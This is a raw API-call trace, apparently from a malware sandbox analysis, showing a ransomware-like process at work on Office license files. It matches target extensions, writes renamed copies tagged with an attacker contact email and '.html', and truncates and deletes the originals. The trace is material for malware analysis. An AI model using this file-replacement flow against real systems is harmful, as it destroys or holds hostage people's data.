	[0198.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.242] lstrlenW (lpString=".doc") returned 4
	[0198.242] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.242] lstrlenW (lpString=".docx") returned 5
	[0198.242] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.242] lstrlenW (lpString=".pdf") returned 4
	[0198.242] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.242] lstrlenW (lpString=".xls") returned 4
	[0198.242] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.242] lstrlenW (lpString=".xlsx") returned 5
	[0198.243] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.243] lstrlenW (lpString=".ppt") returned 4
	[0198.243] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.243] lstrlenW (lpString=".zip") returned 4
	[0198.243] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.243] lstrlenW (lpString=".rar") returned 4
	[0198.243] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.243] lstrlenW (lpString=".bz2") returned 4
	[0198.243] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.243] lstrlenW (lpString=".7z") returned 3
	[0198.243] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.243] lstrlenW (lpString=".dbf") returned 4
	[0198.243] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.243] lstrlenW (lpString=".1cd") returned 4
	[0198.243] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73
	[0198.243] lstrlenW (lpString=".jpg") returned 4
	[0198.243] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.243] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.243] lstrlenW (lpString="MondoR_Retail-ppd.xrm-ms") returned 24
	[0198.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.244] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=26462) returned 1
	[0198.244] CloseHandle (hObject=0x5d8) returned 1
	[0198.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 0x220
	[0198.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.245] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.245] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0198.246] GetLastError () returned 0x0
	[0198.246] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x675e, lpOverlapped=0x0) returned 1
	[0198.249] WriteFile (in: hFile=0x5b0, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x6760, lpOverlapped=0x0) returned 1
	[0198.250] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.250] WriteFile (in: hFile=0x5b0, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x104, lpOverlapped=0x0) returned 1
	[0198.250] SetEndOfFile (hFile=0x5b0) returned 1
	[0198.250] CloseHandle (hObject=0x5b0) returned 1
	[0198.251] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.251] SetEndOfFile (hFile=0x5d8) returned 1
	[0198.255] CloseHandle (hObject=0x5d8) returned 1
	[0198.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 1
	[0198.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.256] lstrlenW (lpString=".doc") returned 4
	[0198.256] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.256] lstrlenW (lpString=".docx") returned 5
	[0198.256] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.256] lstrlenW (lpString=".pdf") returned 4
	[0198.256] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.256] lstrlenW (lpString=".xls") returned 4
	[0198.256] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.256] lstrlenW (lpString=".xlsx") returned 5
	[0198.256] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.256] lstrlenW (lpString=".ppt") returned 4
	[0198.256] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.256] lstrlenW (lpString=".zip") returned 4
	[0198.256] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.256] lstrlenW (lpString=".rar") returned 4
	[0198.256] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.256] lstrlenW (lpString=".bz2") returned 4
	[0198.257] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.257] lstrlenW (lpString=".7z") returned 3
	[0198.257] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.257] lstrlenW (lpString=".dbf") returned 4
	[0198.257] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.257] lstrlenW (lpString=".1cd") returned 4
	[0198.257] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.257] lstrlenW (lpString=".jpg") returned 4
	[0198.257] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.257] lstrlenW (lpString=".doc") returned 4
	[0198.257] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.257] lstrlenW (lpString=".docx") returned 5
	[0198.257] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.257] lstrlenW (lpString=".pdf") returned 4
	[0198.257] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.257] lstrlenW (lpString=".xls") returned 4
	[0198.257] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.257] lstrlenW (lpString=".xlsx") returned 5
	[0198.257] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.257] lstrlenW (lpString=".ppt") returned 4
	[0198.257] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.257] lstrlenW (lpString=".zip") returned 4
	[0198.257] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.257] lstrlenW (lpString=".rar") returned 4
	[0198.257] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.257] lstrlenW (lpString=".bz2") returned 4
	[0198.258] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.258] lstrlenW (lpString=".7z") returned 3
	[0198.258] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.258] lstrlenW (lpString=".dbf") returned 4
	[0198.258] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.258] lstrlenW (lpString=".1cd") returned 4
	[0198.258] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0198.258] lstrlenW (lpString=".jpg") returned 4
	[0198.258] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.258] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.258] lstrlenW (lpString="MondoR_Retail-ul-oob.xrm-ms") returned 27
	[0198.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.259] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11574) returned 1
	[0198.259] CloseHandle (hObject=0x5d8) returned 1
	[0198.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 0x220
	[0198.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.259] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.260] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0198.383] GetLastError () returned 0x0
	[0198.383] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d36, lpOverlapped=0x0) returned 1
	[0198.385] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0198.386] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.386] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0198.386] SetEndOfFile (hFile=0x580) returned 1
	[0198.387] CloseHandle (hObject=0x580) returned 1
	[0198.387] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.387] SetEndOfFile (hFile=0x5d8) returned 1
	[0198.391] CloseHandle (hObject=0x5d8) returned 1
	[0198.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 1
	[0198.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.392] lstrlenW (lpString=".doc") returned 4
	[0198.392] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.392] lstrlenW (lpString=".docx") returned 5
	[0198.392] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.392] lstrlenW (lpString=".pdf") returned 4
	[0198.392] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.392] lstrlenW (lpString=".xls") returned 4
	[0198.392] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.392] lstrlenW (lpString=".xlsx") returned 5
	[0198.392] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.392] lstrlenW (lpString=".ppt") returned 4
	[0198.393] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.393] lstrlenW (lpString=".zip") returned 4
	[0198.393] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.393] lstrlenW (lpString=".rar") returned 4
	[0198.393] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.393] lstrlenW (lpString=".bz2") returned 4
	[0198.393] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.393] lstrlenW (lpString=".7z") returned 3
	[0198.393] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.393] lstrlenW (lpString=".dbf") returned 4
	[0198.393] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.393] lstrlenW (lpString=".1cd") returned 4
	[0198.393] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.393] lstrlenW (lpString=".jpg") returned 4
	[0198.393] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.393] lstrlenW (lpString=".doc") returned 4
	[0198.393] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.393] lstrlenW (lpString=".docx") returned 5
	[0198.393] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.393] lstrlenW (lpString=".pdf") returned 4
	[0198.393] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.393] lstrlenW (lpString=".xls") returned 4
	[0198.393] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.393] lstrlenW (lpString=".xlsx") returned 5
	[0198.394] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.394] lstrlenW (lpString=".ppt") returned 4
	[0198.394] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.394] lstrlenW (lpString=".zip") returned 4
	[0198.394] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.394] lstrlenW (lpString=".rar") returned 4
	[0198.394] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.394] lstrlenW (lpString=".bz2") returned 4
	[0198.394] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.394] lstrlenW (lpString=".7z") returned 3
	[0198.394] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.394] lstrlenW (lpString=".dbf") returned 4
	[0198.394] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.394] lstrlenW (lpString=".1cd") returned 4
	[0198.394] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0198.394] lstrlenW (lpString=".jpg") returned 4
	[0198.394] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.394] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.394] lstrlenW (lpString="MondoR_Retail-ul-phn.xrm-ms") returned 27
	[0198.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.395] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19919) returned 1
	[0198.395] CloseHandle (hObject=0x5d8) returned 1
	[0198.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 0x220
	[0198.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0198.396] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.396] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0198.397] GetLastError () returned 0x0
	[0198.397] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x4dcf, lpOverlapped=0x0) returned 1
	[0198.399] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x4dd0, lpOverlapped=0x0) returned 1
	[0198.400] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.400] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0198.400] SetEndOfFile (hFile=0x580) returned 1
	[0198.401] CloseHandle (hObject=0x580) returned 1
	[0198.401] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.401] SetEndOfFile (hFile=0x5d8) returned 1
	[0198.404] CloseHandle (hObject=0x5d8) returned 1
	[0198.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 1
	[0198.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.405] lstrlenW (lpString=".doc") returned 4
	[0198.405] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.405] lstrlenW (lpString=".docx") returned 5
	[0198.405] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.405] lstrlenW (lpString=".pdf") returned 4
	[0198.405] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.405] lstrlenW (lpString=".xls") returned 4
	[0198.405] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.405] lstrlenW (lpString=".xlsx") returned 5
	[0198.405] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.405] lstrlenW (lpString=".ppt") returned 4
	[0198.405] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.405] lstrlenW (lpString=".zip") returned 4
	[0198.405] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.406] lstrlenW (lpString=".rar") returned 4
	[0198.406] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.406] lstrlenW (lpString=".bz2") returned 4
	[0198.406] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.406] lstrlenW (lpString=".7z") returned 3
	[0198.406] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77
	[0198.406] lstrlenW (lpString=".dbf") returned 4
	[0198.406] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
